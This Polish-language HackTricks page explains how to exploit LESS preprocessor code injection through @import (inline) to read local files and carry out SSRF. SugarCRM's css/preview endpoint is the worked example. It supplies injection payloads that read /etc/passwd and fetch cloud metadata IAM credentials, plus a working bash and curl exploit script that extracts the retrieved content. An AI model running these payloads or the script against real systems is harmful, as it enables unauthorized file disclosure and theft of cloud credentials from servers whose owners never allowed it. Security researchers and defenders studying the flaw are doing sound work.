LESS Code Injection leading to SSRF & Local File Read
Tip
Ucz się i ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Przeglądaj pełny katalog HackTricks Training dla ścieżek assessment (ARTA/GRTA/AzRTA) oraz Linux Hacking Expert (LHE).
Wsparcie HackTricks
- Sprawdź plany subskrypcji!
- Dołącz do 💬 grupy Discord, grupy telegram, obserwuj @hacktricks_live na X/Twitter, albo sprawdź stronę LinkedIn i kanał YouTube.
- Dziel się hacking tricks, wysyłając PR do repozytoriów github HackTricks i HackTricks Cloud.
LESS jest popularnym preprocesorem CSS, który dodaje zmienne, mixiny, funkcje oraz potężną dyrektywę @import. Podczas kompilacji silnik LESS będzie pobierać zasoby referencjonowane w instrukcjach @import i osadzać (“inline”) ich zawartość w wynikowym CSS, gdy użyta jest opcja (inline).
Gdy aplikacja konkatenatuje wejście kontrolowane przez użytkownika w ciąg, który jest później parsowany przez kompilator LESS, atakujący może wstrzyknąć dowolny kod LESS. Nadużywając @import (inline) atakujący może zmusić serwer do pobrania:
- Pliki lokalne przez protokół
file://(ujawnienie informacji / Local File Inclusion). - Zdalne zasoby w sieciach wewnętrznych lub usługi metadata chmury (SSRF).
Technika ta była zaobserwowana w produktach rzeczywistych, takich jak SugarCRM ≤ 14.0.0 (endpoint /rest/v10/css/preview).
Wykorzystanie
- Zidentyfikuj parametr, który jest bezpośrednio osadzany w ciągu arkusza stylów przetwarzanego przez silnik LESS (np.
?lm=w SugarCRM). - Zamknij bieżące polecenie i wstrzyknij nowe dyrektywy. Najczęstsze prymitywy to:
;– kończy poprzednią deklarację.}– zamyka poprzedni blok (jeśli wymagane).
- Użyj
@import (inline) '<URL>';aby odczytać dowolne zasoby. - Opcjonalnie wstrzyknij znacznik (
data:URI) po imporcie, aby ułatwić ekstrakcję pobranej zawartości ze skompilowanego CSS.
Odczyt pliku lokalnego
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
Zawartość pliku /etc/passwd pojawi się w odpowiedzi HTTP tuż przed markerem @@END@@.
SSRF – Cloud Metadata
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
Zautomatyzowany PoC (przykład SugarCRM)
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1" # Base URL of SugarCRM instance
RESOURCE="$2" # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
Przypadki z rzeczywistego świata
| Produkt | Wrażliwy endpoint | Wpływ |
|---|---|---|
| SugarCRM ≤ 14.0.0 | /rest/v10/css/preview?lm= | SSRF bez uwierzytelnienia i odczyt lokalnych plików |
Źródła
- SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability
- SugarCRM Security Advisory SA-2024-059
- CVE-2024-58258
Tip
Ucz się i ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Przeglądaj pełny katalog HackTricks Training dla ścieżek assessment (ARTA/GRTA/AzRTA) oraz Linux Hacking Expert (LHE).
Wsparcie HackTricks
- Sprawdź plany subskrypcji!
- Dołącz do 💬 grupy Discord, grupy telegram, obserwuj @hacktricks_live na X/Twitter, albo sprawdź stronę LinkedIn i kanał YouTube.
- Dziel się hacking tricks, wysyłając PR do repozytoriów github HackTricks i HackTricks Cloud.


